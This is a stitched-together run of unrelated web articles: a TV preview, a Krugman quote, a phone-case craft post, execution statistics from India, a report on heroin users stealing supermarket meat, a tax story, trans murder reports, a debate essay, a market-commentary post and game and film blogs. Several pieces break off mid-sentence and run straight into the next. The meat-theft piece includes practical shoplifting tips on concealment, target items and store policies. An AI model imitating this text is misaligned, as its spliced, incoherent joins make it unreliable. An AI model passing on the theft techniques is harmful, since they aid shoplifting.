Mazzara insisted during the summer that nothing is off the table but things wouldn't get "offensive for the sake of being offensive." He seems to believe TV may have less of a threshold for bleakness than comics do. It's hard to argue against that, as even the most straightforward of car-wreck-ahead tragedies have to provide something to root for (JACK COULD HAVE SURVIVED, DAMMIT).
With all those topics swirling around, S3 of The Walking Dead will be nothing if not interesting. Assuming the show continues its ratings domination, this year could be vital for the overall series. It'll either set the stage and the tone for S4 and beyond, or it'll make AMC regret its verbal commitment while scaring away all but the hardest of hardcore comic followers. That's a crossroads more compelling than, "to ditch or not to ditch our farm." Hopefully the stakes transfer to the screen.
Listing image by Brandon HuntPosted on July 31, 2011
Krugman: "We Shouldn't Even Be Talking About Spending Cuts At All"
Nobel Prize winning economist Paul Krugman: "The first thing is, we shouldn't even -- from the perspective of a rational person, in other words a progressive on this stuff -- we shouldn't even be talking about spending cuts at all now. We have 9 percent unemployment. These spending cuts are going to worsen unemployment. That's even going to hurt the long-run fiscal picture because we have a situation where more and more people are becoming permanent long-term unemployed. And if you have a situation in which you are going to permanently raise the unemployment rate, which is what this is going to do, that's actually going to reduce future revenues. These spending cuts are even going to hurt the long-run fiscal position, let alone cause lots of misery. And then, on top of that, we've got these budget cuts which are entirely -- basically the Republicans said, 'We'll blow up the world economy unless you give us exactly what we want.' And the president said, 'OK.' That's what happened."For the easiest variety of designs, I suggest you buy a clear case. If you are lucky as I was, you will get a clear case when you buy a phone.Basically, owning a clear phone case means owning an unlimited amount of phone case designs. You can draw some of those yourself or use cool pattern papers. Here I have some examples of those pattern paper ones.I also got a phone case which had a metallic look. And I really liked it but that lead it to be scratched to the point that I thought to throw it away. Obviously, I did not do that. I painted my own design on it with some cute strawberries. I used acrylic paint for this small painting. To protect it I used a clear nail polish. The case smelled pretty bad at first but after a couple of days, the smell disappeared. I am actually very impressed of how well this is holding on.If you have any ideas how to make your own phone case designs but with different methods then let me know. I like nice phone cases and especially if I can make them myself.Express News Service By
If the Supreme Court rejects Yakub Memon’s appeal to suspend his execution for his role in the 1993 Mumbai bomb blasts, he will take his last walk at 7 am on July 30—to the gallows at Nagpur Central Jail. The bombings were meant to avenge the demolition of the Babri Masjid, which India’s liberal and secular establishment still condemn as an attack on the minorities. However, a new report by Death Penalty Research Project of the National Law University (NLU), Delhi shows that of the 1,414 prisoners in the available list of convicts hanged in post-Independence India, only 72 are Muslims—not even 5 per cent of the total executions. The report, however, clarifies its list is not meant to be a reference for the total number of prisoners hanged in India since 1947.
■ Of the 27 prisoners hanged in Andhra Pradesh till 1968, only two were Muslims.
■ Of the 25 hanged in Delhi, only four were Muslims.
■ Of the 103 hanged in Haryana, there was only one Muslim.
■ Of the 39 hanged in Karnataka, only three were Muslims.
■ Of the 78 convicts hanged in Madhya Pradesh, only five were Muslims.
■ Of the 56 hanged in Maharashtra, there were only five Muslims.
■ Of the 366 prisoners who went to the gallows in UP, only 45 were Muslims.
■ Of the 32 convicts who were hanged in West Bengal, only seven were Muslims.
The death list in some states is tainted with gallows humour: in Kerala, no records are available because the authorities confessed termites ate them all. The story is similar in Andhra Pradesh, where termites have made a meal of all records pertaining to executions after 1968.
The report was compiled by NLU researchers from the responses received from India’s Central jails. Certain prisons provided information for only a certain period of time, or like Tamil Nadu, refused to give any data. According the report, in Jammu and Kashmir, the playground of Islamist terror, not one Muslim has been hanged. Official statistics of terrorist killings in J&K are available only up to 2009, which note that over 47,000 people have died in terror-related violence. The up-to-date numbers would be higher. The Human Rights Watch has noted that thousands of Kashmiri Hindus have been killed over the past 10 years by terrorists and Muslim mobs. Additionally, in Haryana, Odisha, Rajasthan and Punjab, not a single Muslim convict has gone to the gallows. In India’s capital, Delhi, Muslims comprise 11.7 per cent of the population, making it the second largest community after Hindus. Here for every Muslim, five members of other communities climbed the scaffold. Executions are carried out in Jail No. 3, Tihar Jail.
Sections of the media and politicians such as Asaduddin Owaisi, leader of the Andhra Pradesh communal outfit, the All India Majlis-e-Ittehadul Muslimeen, and Abu Azmi, Samajwadi Party leader from Maharashtra, are protesting the death sentence. Owaisi accused the government of hanging Memon only because he is a Muslim and questioned why the death sentences of those convicted in Rajiv Gandhi’s assassination case were commuted to life imprisonment. He had wanted Bangladeshi anti-fundamentalist author Tasleema Nasreen to be beheaded and had called MLAs kafirs and Hindus impotent. He was jailed for making hate speeches, but no harm came to him. In united Andhra Pradesh, his state, 27 convicts were hanged of which only two—Jonada Muslalaiah and Sk. Babu Sahib—were Muslims.
Azmi had accused the government “of making moves against Muslims”. He claimed that according to the chargesheet, Memon was innocent. “He did run away with his brother but he has not committed any huge crime,” said the Maharashtra legislator. In his own state—where there were 63 terror-related incidents this year alone, (around nine a month) and 139 in 2014 (around 12 a month)—56 were hanged for various offences. Of these, only four Muslim convicts—Abdul Rehman Imrankhan, Abhasjhan Wazirkhan, Munwvar Haun Shah, and Ajmal Amir Kasab—climbed the scaffold, just 7.14 per cent. This amounts to 13 criminals of other faiths for every Muslim. Kasab was a Pakistani terrorist and part of an ISI-trained team, which killed 166 innocent people and wounded 293 in the bloody invasion of Mumbai in November 2008.
The ultimate irony happened on Friday when Naxalites in Nagpur jail, whose singular manifesto is bloody revolution to
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is a little less conspicuous than, say, a boxed and tagged digital camera, it's no surprise the most recent Global Retail Theft Barometer study identified meat as one of the most commonly stolen items from supermarkets. It's got so bad, in fact, that some places have resorted to tagging and boxing their meat because it keeps on walking out the door.
With a recession and rising prices – these days a leg of lamb costs around £20 to £30 – meat has become a luxury many can't afford, unless, of course, it's nicked by someone willing to take the risk. But this is a phenomenon driven by heroin, not hunger.
"Back in the day it was electric toothbrushes and razors, but now meat is the go-to product to steal," says Scott, a 42-year-old heroin and crack user who's taking me on a walk through Leicester's city centre supermarkets. "I need to do all my shoplifting before 10AM – before I start rattling – so on the average day I'll get up at 7AM. Some shops don't bother with security until 10AM because they think all the heroin addicts are lazy and still in bed."
Sliced beef, not a particularly lucrative item to steal and sell on
Walking into a Sainsbury's he quickly appraises the meat shelves, picking up a leg of lamb priced at £21. "This is what you want," he says. "Stick this down your trousers, sell it down the pub and that's a bag of heroin right there." He puts it back on the shelf, although already we've got a security guard eyeing us up. "Legs of lamb are harder to get – popular with everyone, a joint of meat makes people feel good; they can bring it home to the family." Next he scoops up 10 packs of high-end bacon: "This would just go down my coat. I'd tuck my body warmer into my belt so it doesn't fall out." He says he prefers the vacuum-packed bacon over the stuff sold in plastic trays because he can fit twice as many down under his coat.
Through the eyes of a meat thief, you begin to look at supermarket produce in a completely different way; it's all about the bulk-price-quality ratio. Scott picks up a whole roast chicken in disgust. "Look how big and heavy that is, and it's only £4.50, so I'd get about £2," he says. "I don't bother with minced meat or sandwich ham – it's just too cheap and no one wants to buy it."
I ask him for his top five meat products to steal. They are:
1. Joint of beef or lamb
2. Chicken breast, legs and thigh
3. Beef steak
4. Pork chops
5. Sausages and bacon
("When there's fuck all left, I'll take the ham – posh ones.")
For heroin users who want a steady stream of reliable income, meat is best. It's easy to nick and quick to sell in comparison, for instance, to electrical items, which are harder to steal and necessitate a trip to Cash Converters if you want to unload them.
"People can see the price and the sell by date. I get half the sale price for it, which is good – a lot of other things you have to sell on for less," says Scott. "Everyone needs meat, but it's expensive, so people are tempted. Once I was in Co-op and I'd stuffed a load of posh hams costing £6 down my coat, but they had fallen out the bottom onto the floor right in front of this old lady. I swear she was not a day younger than 70. She picked them up, gave them back to me and said, 'If you're selling them, I'll meet you outside,' and she bought the lot."
Scott sells his contraband in pubs, market stalls, taxi offices and building sites. Sometimes he'll stop people in the street and ask them, but only if they look right. Other meat thieves go door knocking around their local council estates with a bag full of meat. Scott and the thousands of other meat stealers out there are part of a huge hidden black market that operates in every town and city in Britain – a semi-criminalised zone of betting shops, boozers and shop "fronts" where people without 9 to 5 jobs find work, buy and sell illicit goods, and generally get by.
"The people who buy it are people who don't have much money," Scott says. "I have a few regular pubs I sell meat in; most of the pubs where I sell meat are estate pubs. In some of them the landlord will ask for first refusal before he lets me offer it to his customers. Sometimes I have to sneak in and sell it without the manager knowing."
READ ON BROADLY: A Life in Boxes: What it's Like Being Homeless for Ten Years
The selling of meat in pubs – these days mainly by heroin users – isn't anything new, which is perhaps why it's tolerated in many working class areas. One pub in London's East End in the 1960s was known as "Dewhursts", after the chain of butcher shops, because it sold so much meat that had been diverted from the docks.
For Scott, meat theft is strictly professional: he never eats the meat he steals. Oddly, when he goes shopping for himself he does it on "pay day", when he gets his giro, and he pays at the counter.
Scott, born in Leicester, tells me he's been thieving off and on for the 12 years he's been struggling to kick a £50 to £100-a-day heroin and crack addiction. He steals five out of seven days a week, and on each of those days he'll average 20 packets of meat with a face value of about £75, which he'll sell on for half of that. He also steals cheese, spirits and household goods, but meat is his staple. I ask him how many times he's been sent to jail for shoplifting. "I've lost count, but let's say more than 20 times."
Last year Scott got 36 weeks for stealing meat from Tesco and booze from Co-op. "Co-op is the best place to steal because they have a no-chase policy," he says; once you're out the door, that's it. He's got banning orders from most of the supermarkets in Leicester and is barred from all Tescos. "Technically I can get done for burglary for just going into a Tesco shop," he says, "but that doesn't stop me from going in."
We're joined at this point by former meat stealer Luke, who quit thieving when he turned 30 a few years back because he stopped using heroin. He's had 60 shoplifting convictions, although he says he was caught "one in every 100 times". Luke stole meat because he said he was too much of a "skinny white boy" to make a living out of selling heroin, "because I was too much of a target to rob off".
The best pubs to sell meat in, Scott and Luke tell me, are the ones selling cheap drinks. Because JD Wetherspoon is a chain, they say, you have to be sneaky in there. Scott and Luke show myself and the photographer a few city centre pubs they have openly sold meat in before, but when I chat to the managers they deny all knowledge.
"We get at least a couple of people a day coming in here trying to sell meat, but I tell them to go away," says the landlady of the Hansom Cab. "It's a common thing in most pubs round here, though."
At the Nine Bar, situated in the student quarter, the manager, Ben, tells me that the meat sellers take advantage of the outside seating and sell packs of bacon to the students, "probably for their hangovers the next day". He tends to ignore them, though, because they don't hassle people and they're not aggressive.
Jude Duncan, manager at the Criminal Justice Drugs Team in Leicester, has 450 heroin users on her books and admits the majority of them steal to feed their habits. She says that meat is "a big one", but also gets calls from the large Tesco store complaining of people stealing while visiting the pharmacy sections for supervised methadone scripts.
"For a lot of these heroin users, stealing gives them a purpose – it's like having a job," she says. "The cat and mouse game gives them a buzz. But it's a sad indictment of society that people can't afford to buy meat at proper prices and people are selling it out of their trousers."
@Narcomania
Interested in drugs? The Global Drug Survey 2016 has just launched. Go here to have your voice heard in the global drug debate.
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Why Tory Plans to 'Help' Drug Addicts By Taking Away Their Benefits Definitely Won't WorkOne-third of Californian taxpayers could be forced to pay thousands more in federal taxes from the repeal of one deduction under a GOP proposal released Wednesday, setting up another political dilemma for California Republicans facing tough reelection battles next year as Democrats work to win back the House of Representatives.
The potential repeal of the state and local tax (SALT) deduction, which allows taxpayers to write off those taxes on their federal returns, would hit especially hard in wealthier areas, some of which are on the exact turf Democrats are trying to win over in Southern California.
Details of the overall tax reform plan have yet to be worked out, but so far, vulnerable California Republicans are not joining GOP colleagues in other states who have said they won’t accept the repeal of the deduction, and some of them seem willing to negotiate.A long time ago, I lived in Baton Rouge, Louisiana. For three years. And being Mardi Gras today, my mind wanders that direction.
But this year, I’m thinking about something different – the three trans women who have been brutally murdered this past weeks. I wrote about Chyna and Ciara, both of whom were killed this weekend. And this morning, I learned about Jaquarrius Holland, also known as Pretty Brown.
According to Black Lives Matter: Houston, Jaquarrius Holland was killed in Monroe, Louisiana on February 19, 2017. Due to misgendering, her identity was not made known to the community until recently.
Jaquarrius is the third known trans woman of color whose death we’ve learned about this weekend, the fifth trans woman of color murdered in February and the sevenths trans woman of color murdered in 2017 so far.
From the media (misgendering at this link)
On February 19, 2017 at 8:00 PM Monroe police officers responded to a shooting that occurred at 3902 Grammont Street. Officers arrived at the scene and found a black [female] lying unconscious with a single gunshot wound to the head; the victim would be identified as Jaquarrius Holland. The investigation would reveal that Malcom Derricktavios Harvey got into a verbal altercation and shot Jaquarrius Holland; Harvey fled the scene prior to the officer’s arrival.
Anyone with any information regarding this situation should contact the Monroe Police Department at (318) 329-2600.
Jaquarrius was 18 years old. A crowdfundraiser established by friends describes her a young woman who worked fiercely to live her authentic life. They claim she went by the name #PrettyBrown. Another friend writes that she was newly transitioning and had support from her family.
My heart just breaks or continues to break as I think about losing an 18 year old child and loved one. So many young lives lost …
Rest in power, Jaquarrius Holland (Brown.) Your truth has come to light and your loss will be grieved by the community.
The list of trans neighbors killed in 2017 thus far.
And I must draw your attention also the officer related shooting death of a trans man in Western Pennsylvania
Sean Hake – Sharon, Pennsylvania (January 6), 23 years oldFrom today, people in Scotland will get their prescriptions for free. This brings them into line with what we in Wales did first, followed by Northern Ireland. This graphic from the BBC story will save a couple of sentences of explanation:
But I also read the Channel 4 version of the story, which included this:
... from research in Wales, there is an indication that access to free prescriptions results in more people receiving medication. In Wales they have witnessed a year-on-year increase in prescriptions dispensed by GPs of between four and six per cent since the reduction in 2000-01 and the eventual abolishment in 2007. A further rise of 3.3% has occurred over the last year. Channel 4 News, 1 April 2011
Channel 4 News is usually the most reliable of sources, but this is an example of taking something that's undoubtedly true, but drawing a wrong and intentionally misleading conclusion from it. In fact it's precisely the same tactic as was continually used by the LibDems to criticize the abolition of prescription charges in Wales, for example here:
Commenting on the 5% increase in items claimed on prescription, Jenny Randerson, Welsh LibDem health spokesperson said: "We warned the Government that giving free prescriptions for all would be disastrous and today's figures have vindicated our position. Three million extra items claimed in the last year is a direct result of this policy." Jenny Randerson, 19 August 2008
Yes, it's true that the number has risen and is continuing to rise. But exactly the same is true in England. This is what I wrote about it on the WalesOnline forum some while ago:
The number of prescriptions dispensed in Wales has gone up steadily year upon year, while the cost has step-by-step gone down. Last year, the increase was 5%. Welsh Government, 2008 The number of prescriptions dispensed in England went up steadily by 55.1% over 10 years (roughly 5% a year), and is expected to rise by 5% each year, even though the cost has step-by-step gone up. NHS Information Centre, July 2007
BJHC & IM, March 2006 Result? No correlation between the price and the number issued. WalesOnline Forums, 9 April 2008
And to those who say that it is right for those who can afford to pay for prescriptions to do so, I completely agree. Our four national health services are funded by taxpayers, and richer people pay more in taxes than those who are less well off.Spiderman, Spiderman, does whatever a spider can. Spins a web, any size, catches thieves just like flies. Look out! Here comes the Spiderman.
Spiderman. One of every little boy's favorite superheroes along with Superman and Batman. Not to mention, he is my absolute favorite superhero as well. I was first introduced to the Spiderman and other superhero comics when I was around 12. Out of all the heroes, and heroines, the one that really connected to me the most was Spiderman. Perhaps it was because he was a teen superhero that worked on his own, unlike Robin who worked with Batman. Or that he was a science geek that was ridiculed by others and bullied relentlessly. Nevertheless, Spiderman continues to be a popular superhero that can be recognized internationally.
What intrigues me most is the new reboot of Spiderman coming to theaters this summer. I did somewhat enjoy the Tobey Maguire Spiderman films... well at least till the third one. I felt that the whole premise swayed away from the comics and mostly fed into the romantic drama between Mary Jane and Peter Parker. Again while I know that such films need to appeal to the masses, the excessive drama was a bit nauseating.
I honestly was not expecting another Spiderman film until I was watching the previews last summer when I went to the movies to see Captain America. The trailer intrigued me... a boy being left behind by his parents, and I kept wondering what is this movie about? Then, suddenly, I heard the name 'Parker'. My eyes lit up and I continued to poke and shake my brother incessantly saying: "It's Spiderman, Spiderman, Spiderman." (Of course, I got kicked in the shin by him,indicating to shut up). I noted that Gwen Stacy was the female lead as well, which I approved, since in the comics she meets Peter before Mary Jane. While I couldn't figure out who the villain would be,(which will be the Lizard, according to IMDB), I was still extremely psyched; another Spiderman movie for me to enjoy, not to mention, it looked promising.
The Amazing Spiderman is due for theatres July 3rd, 2012, set in Imax 3D and 3D. In addition, Spiderman will be played by Andrew Garfield, who recently starred in The Social Network, Judging from the trailer, he manages to fit the character, at least I think so. Many people are a bit tired of Spiderman, but for me, I can hardly wait. I don't know why, maybe it's my spider senses tingling.PRINCETON, NJ -- A majority of union members say they would vote for Barack Obama in the 2012 presidential race, although their support is by no means monolithic. While 57% of union workers who are registered to vote would support Obama, 35% would vote for Mitt Romney. Workers who are not union members tilt toward Romney over Obama, 48% to 44%.
Roughly 12% of workers interviewed April 11-June 5 in Gallup's Daily tracking who are registered voters say they are union members.
The tilt toward support for Obama among union members is not surprising. Not only have unions been strong and vocal supporters of Democratic presidential candidates historically, but previous Gallup analyses have shown that union members are significantly more likely than nonunion members to be Democrats; this is particularly true for state government employees.
The relationship between unions and politics was starkly evident this past week in Wisconsin, where unions fought hard but unsuccessfully to recall the incumbent Republican governor, Scott Walker, who had pushed for restrictions on state government employee unions.
Union members who work for the government are little different from private-sector union members in their preferences for Obama over Romney. Nonunion workers in the private sector, however, tilt their support to Romney. Government workers who are not members of unions still support Obama, but by a slim margin over Romney.
State government union workers are slightly more likely than the average government union worker to support Obama. Still, about three in 10 state workers who are union members and are registered to vote support Romney, underscoring the finding that union members are modestly diverse in their presidential preferences. There were too few union members working for the federal government in this April 11-June 5 sample to analyze meaningfully.
Implications
Union voters are substantially more likely to vote for Obama than for Romney, at a time when the overall race is essentially tied between the two major-party candidates. Still, a little more than a third of union workers support the Republican Romney -- despite evidence of strong union support for Democratic candidates, including Milwaukee Democratic Mayor Tom Barrett, who lost his bid to oust Gov. Walker in Wisconsin last week.
Much of the focus on union members over the last year has been on government workers, but these union members are statistically no more likely to support Obama than are union members who work in the private sector. Even state government workers, who tend to be more Democratic than other government workers, are just a few points higher than the overall union average in their support for Obama.
All in all, union workers provide a substantial bloc of support for Obama's re-election efforts, although their impact on the presidential race will be limited by their size -- just about 12% of employed voters are union members -- and the fact that a sizable minority support Romney. Still, in crucial battleground states this fall, the vote and efforts of even small groups may end up making a difference.
Sign up to get Election 2012 news stories from Gallup as soon as they are published.Miikka "suNny" Kemppi is ENCE eSports' CS:GO rifler, but he's had an on and off relationship with the team since they formed in 2013. With DreamHack Summer just around the corner, suNny spoke to theScore esports about the team's addition of naSu and their expectations for the upcoming tournament.
You’ve been an off and on member of ENCE eSports throughout your CS:GO career, with this latest roster forming at the beginning of this year. What’s your opinion on the team’s performance in 2016?
The start of the year was really disappointing to be honest. Of course we had some ups every now and then, but we failed most of our important matches, especially on LAN. Of course we got better all the time but too slowly. After our recent roster change, everything felt better. I'm pretty sure we all knew that naSu is something that our team needed, in person and in-game. For example we made it to Top 4 in DH TOURS (European Minor) with only few maps of prac with naSu.
You guys adjusted your roster fairly recently, releasing stonde and bringing in naSu. Why make this adjustment?
We missed experience and leadership with the starting five. We tried many different ways but couldn't find comfortable roles for our players in-game. Nasu was our stand-in at DH Tours, and after our first game there (against GODSENT 19-17) it felt like he was the missing piece that we needed all the time. I'm glad he wanted to play with us.
naSu has also taken over as the team’s in-game leader. How have you taken to that adjustment? Has your fragging power improved since?
Yep, naSu is our in-game leader. NaSu's presence created much more space for allu, juho and me, since he is more of a passive player just like xarte. Every team needs players like him.
How has the team dynamic been affected now that there’s only one AWPer on the team?
We are sure it's better this way. It makes CT sides more mobile and allows allu to do his stuff. allu with the AWP is a player who need lots of responsibility and space to be the beast that we need him to be.
How about team dynamic as far as communication or out of game? How has the team been jelling interpersonally?
The atmosphere in the team is pretty good — we all knew naSu before he joined our team. He’s a great guy and it's nice to have him hanging around. We like to spend time together as a team now more than before.
Looking ahead to DreamHack Summer 2016, what are your feelings toward your group and your opening match against Astralis? What do you hope to achieve there?
It will be hard task for us to get out of the groups with no doubt. I want us all to play our A-game and see where it takes us. My goal in DreamHack is to be in Top 4.
Beyond DHS, what are some of your or your team’s goals for the rest of the year? Any closing thoughts?
We want to play in a Major and be a solid Top 10 team this year. I'm sure we will do it with hard work, it's just a matter of time. Many thanks to all of our fans and ENCE for trusting us. #EZ4ENCE
This interview has been edited and condensed for clarity.September 24, 2014
How I Learned to Stop Worrying and Love Lay Judges By Towsif Ahasan
When I debated as a novice, I remember thinking that lay judges were “illegit,” and whenever I was dropped by a lay judge, I could just brush it off as bad judging. I’d just make myself believe that if someone who actually understood debate judged me, they would pick me up, because come on, obviously I was the best. The worst part was that this vicious cycle was reaffirmed by many of the people I talked to; I could tell another debater that I was dropped by an “illegit” lay judge, and they would just nod, agree and sympathize.
These days, when I walk down the hall of a tournament and hear kids bashing lay judges, it makes me irrationally angry and annoyed. My mentality has changed drastically due to experience and observation, and I’ve come to appreciate the unique role that lay judges play in debate. My partner, Jeremy Andreades, explained our change best in last year of debate, remarking that we debated “flow” so rarely that it started to feel out of character, and as a result, our performance improved markedly. We came to a very basic realization that “bad judging” is distinct from lay judging; “bad judges” can be lay or experienced, and often, the worst judges were those who believed they were “flow” but didn’t really understand the flow. We began to realize what a judge really meant when they said they had no preferences or in their RFD simply said “one team was more persuasive.” We realized that instances where a judge made an objectively wrong decision were incredibly rare, with maybe 3 in a year, and the vast majority of rounds lost were because of bad execution, whether that be on the flow or in our persuasiveness. It got to a point where we looked forward to having a lay judge when debating opponents who either didn’t adapt or thought they were above adapting; we knew we had an advantage and we worked to capitalize on it. Our biggest challenges were no longer circuit debaters, but debaters willing to adapt. Lastly, one of the best examples that distinguishes good and bad judging is the performance of Harker CS (Aneesh Chona and Anuj Sharma), one of the most successful teams of all time, at Emory. Not only did they win the tournament, they were approximately half a point from perfect speaker points in every round. Their near perfect success is one example that shows that excellent debate and excellent debaters are recognized almost universally, by lay and flow judges alike.
Beyond just being competent judges, having lay judges brings a plethora of benefits such as forcing students to learn real-world skills that make Public Forum Debate unique, making the event sustainable and inclusive.
Debate, like any community or institution, has its own set of practices and traditions that distinguish it. This can be seen in the jargon (kritiks, disads, dropping rounds, extend Johnson, etc.), as well as through practices like spreading, both of which really only occur in the debate world. For example, many of my friends have stared at me confusedly when I say “The Broncos dropped to the Seahawks.” One side effect of these practices is that they can erode values that don’t coincide with common practices. Essentially, in debate, research, jargon, and technical argumentation have taken priority over clarity, persuasion, and appeal to the average person. This usually happens when people who consider themselves to be flow judges, usually former debaters or coaches, vastly outnumber the number of lay judges in the pool because the alumni judges debated with these values in mind. As a result of this, current debaters that are judged by alumni adapt that mindset to be successful; this creates a cycle where one set of values can completely overtake another. The conclusion of the prioritization of one set of values over another can be seen in Policy debate. This is not a judgment or criticism of Policy debate; I have a deep respect for Policy and the experimental and open environment that policy debate provides. This is simply an observation and is relevant in explaining that Public Forum Debate was created to revitalize aspects of debate that can be absent in LD and Policy.
One of the key benefits of having lay judges is that they allow for a balanced approach to skill development by placing equal emphasis on values like speaking clearly and being well informed. Spitting names, tags, and stats will probably leave a lay judge confused and with a headache; evidence is still important for them, its just not the most important factor. The ability to be persuasive, logical, and frame issues clearly is critical to being able to be consistently successful with lay judges, and Public Forum Debate forces students to develop these skills in order to be competitive. Debaters have to be able to convince people who have a variety of different backgrounds, beliefs, and experiences. Convincing an Asian suburban middle-class father or a Black upper class urban single woman is going to be a uniquely different experience from convincing than former debater #55. At the same time, there will always be some “flow” judges, either as coaches, former debaters, or highly experienced parents, where more intensive research, more jargon, and more unique arguments could be strategic in winning the ballot. Public forum manages to distinguish itself from LD and Policy by maintaining a pool that has both kinds of judges, forcing debaters to develop a diverse set of skills. This unique identity for Public Forum is important because it creates an environment for people who want to develop these key skills.
The second major reason that lay judges are beneficial is that on a structural level, they promote inclusiveness and the sustainability of Public Forum as an event. Having lay judges opens the event up to greater participation by making it easier to start new programs in three basic ways. First, having lay judges means that regular adults and teachers that have little or no experience in debate can be relevant and effective in coaching. Even if they haven’t had experience with circuit practices like jargon or cutting cards, these adults can still teach students common skills like persuasive speaking or how to do basic research, which opens the door to the wide world of debate. Second, students who want to debate on their own or who are coached by mentors with little or no debate experience can be still be successful because an advanced knowledge of the technical side is not required. The qualities that are appealing to lay judges are the same skills that can be learned in many other classrooms or even learned independently or be “natural.” This often isn’t the case with LD or Policy because they require knowledge of the technical side of debate that can only be learned by specific study of debate rather than in English or Social Studies classes. Further, the acceptance of lay judges allow those adults without advanced knowledge of technical debate to still be involved in the event. Maintaining a lay judging pool means that debate alumni can return at any point and still be able to participate and remain relevant. For example, LD debaters from the 80s, when LD resembled PF, might be lost trying to judge today’s rounds filled with theory, kritiks, plans, etc. Having lay judging ensures that Public Forum remains accessible, creating a much larger potential base of people who are likely to support debate in the future because they can still feel relevant and connected to the activity. Allowing parents to judge or observe debates gives them a greater understanding of what their kids do, encouraging parent involvement and support. My friend and former coach Reilly puts it best when he explains that Public Forum Debate acts as an ambassador for debate; it gives it a public image that people can understand and attach to, and this increases support for the activity as a whole.
All of these benefits culminate in the development of real world communication skills for debaters. Being able to communicate clearly and persuasively is among the most requested and valuable skills in the modern workplace. Wherever you work, being able to understand who you’re talking to and how to communicate best with them is an enormous benefit to career potential and ability to advance. Jacob Bollinger, PhD, an analyst and senior data scientist, looked at “the hiring trends of every company and industry in every city in the United States” and explained that “our data reveal that the skills in highest demand across the board are not necessarily specialized skills but fundamentals that apply to many job categories, like customer service and problem solving. Communication skill is in highest demand among employers. That skill tops the list in job postings among categories ranging from laborers, accountants, general and operations managers, and cashiers to software developers, computer systems analysts, and pharmacy technicians.” Second, being forced to advocate topics like single gender schools to a diverse group of people, from a married African American father to a single female Hispanic lawyer, provides a diverse experience. Understanding how people’s backgrounds, experiences, and history shape how they perceive subjects is educational because of the diversity of the real world. Mike Myatt, who trains high level executives in communication skills, explains the benefits writing, “It is the ability to develop a keen external awareness that separates the truly great communicators from those who muddle through their interactions with others. Examine the world's greatest leaders and you'll find them all to be exceptional communicators. They might talk about their ideas, but they do so in a way that also speaks to your emotions and your aspirations.” Being forced to develop strong communication skills, and understanding that is a judge is an enormous boost for the competitive job market.
What I hope you take away from this is that lay judges are not only good judges and good for debaters, but they are critical in making Public Forum Debate inclusive and sustainable. Keeping debate alive and viable into the future requires us to not only tolerate, but to embrace lay judging and to re-orient our community from one that often vilifies lay judges to one that acknowledges their critical importance to debate as a whole.
Works Cited
Bollinger, Jacob. “The most sought-after job categories and skills for 2014.” Bright. 2014. Web. 13 March 2014. Retrieved from http://www.bright.com/static/v3/img/labs/content/The_Most_Sought_After_Job_Categories_and_Skills_for_2014.pdf.
Myatt, Mike. “10 Communication Secrets of Great Leaders.” Forbes. 4 April 2012. Web. 13 March 2014. Retrieved from http://www.forbes.com/sites/mikemyatt/2012/04/04/10-communication-secrets-of-great-leaders/.Cash on the Sidelines?
Last week, the Australian Financial Review was doing its best to spruik the ongoing prospects for the Australian share market in their front page article “Cashed-up funds have $70bn to invest”. The article is only available online to subscribers, but this quotation sums it up:
analysts cite the volume of cash stockpiled as a reason for stocks to keep rising
Mostly consisting of quotations from people in the equity business (who all arguably stand to benefit from talking up the market), the authors do include some data to support the proposition as well:
The latest data released by the Australian Bureau of Statistics shows that fund managers have increased their cash holdings to about 18 per cent of the $880 billion they manage, or about $160 billion. If managers were to return their cash holdings to more normal levels, there would be about $70 billion available for investment, with the local sharemarket receiving up to $30 billion.
The image of a wall of cash on the sidelines waiting to spill over into equity markets is compelling, but does it make sense? The power of this commonly used image arises from the idea that cash is somehow transforming into shares, when of course for every buyer there is a seller who gets the cash, so share trading never changes the total amount of cash in the system (note that aggregate money supply can change through central bank operations and banking deposit creation, but that is a whole other story beyond the sharemarket and is not part of the standard “cash on the sidelines” argument). Of course, this does not stop share prices from going up or down.
So, if the cash in the system does not change, what is going on?
For a start, most commentators who consider cash on the sidelines to be a driver of stock prices look at the percentage of total assets held in cash; this post on the Market Thoughts blog is a good example. The problem with this approach is that, while it creates an apparent correlation, it is trivial and has no predictive power. This is because a fall in the value of shares (or indeed any risky asset class) will reduce the aggregate value of investment assets and, with the total amount of cash staying constant, the percentage in cash automatically increases. It will then decrease again when shares increase in value again. But of course, this means that the move in cash percentages is coincident with movements in share prices and provides no better prediction than simply saying “shares have fallen and eventually they will go back up”.
A more sophisticated interpretation is to say that “cash on the sidelines” does not mean aggregate cash in the system, but refers specifically to cash held by a segment of the market, namely investors in money market funds (the figure most often measured). The argument could go something like this: many investors target asset allocation mixes and if their cash holdings become too high, they would be forced to buy more shares, thereby adding to demand for shares, shifting the demand curve and pushing prices higher. I have a few problems with this argument.
First, if this phenomenon is significant, why would the cash imbalance have arisen in the first place? Presumably because investors became more risk averse and demand for shares decreased. If so, I would argue that what would push share prices up is sentiment: investors become less risk averse and increase their demand for shares once more. This may, as a consequence, push the cash in the segment back down if investors’ net buying was from participants outside their segment. If so, I would see that the change in cash is a consequence of a change in demand, not the cause.
Second, by segmenting you need to consider not only the demand side, but the supply side. Investors cannot simply trade among themselves, otherwise the cash in their segment would not change. Their increased holding of cash would have to be offset by a reduced holding in cash by other segments, such as the corporate segment, which may affect the supply curve. A plausible scenario would be that corporates, starved of cash, begin issuing shares to raise cash, possibly at a discount to market prices. In the process, they channel the cash back from the investor segment and push share prices down. While I am not saying this would happen, I don’t think it is much less plausible than the explanation that excess cash shifts the demand curve for investors.
A related point is that the segment of investors with money in money market funds is bigger than asset allocators. While asset allocators may feel the pressure of their cash holdings increasing relative to their target, other investors may be becoming more risk averse, offsetting the effect of the asset allocators.
So much for theoretical arguments. Since this is the Stubborn Mule, I really should look at what the data says. The AFR article refers to Australian Bureau of Statistics data on the cash holdings of fund managers. Looking at the history of cash and deposits held by fund managers and comparing it to the Australian All Ordinaries share price index, there is no obvious pattern of increases in cash holdings leading to rises in share prices.
Fund Managers’ Cash and the Share Market (1988-2009)
In case there is a hidden pattern in these time series charts, we can also look at a plot of quarterly changes in the share price index against changes in cash holdings of fund managers.
Cash versus Share Prices (198
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I originally only liked Bayonetta from a distance. Its colorful, crazy style was amazing, but I felt no real draw to play it for myself. I eventually came around and had a great time, which paved the way for Bayonetta 2. I'm hardly a devotee to this genre or this developer, but Bayonetta 2 brings things together in a way that just about anyone can enjoy. It's flashy, fierce fun that, unlike a lot of other games in the genre, inspired me to want to get better at it as I continued playing. Also it has crazy hair beasts and ridiculous boss encounters that, in a lot of ways, make me just want to play another Metal Gear Rising. Is that weird?
5. Diablo III: Ultimate Evil Edition
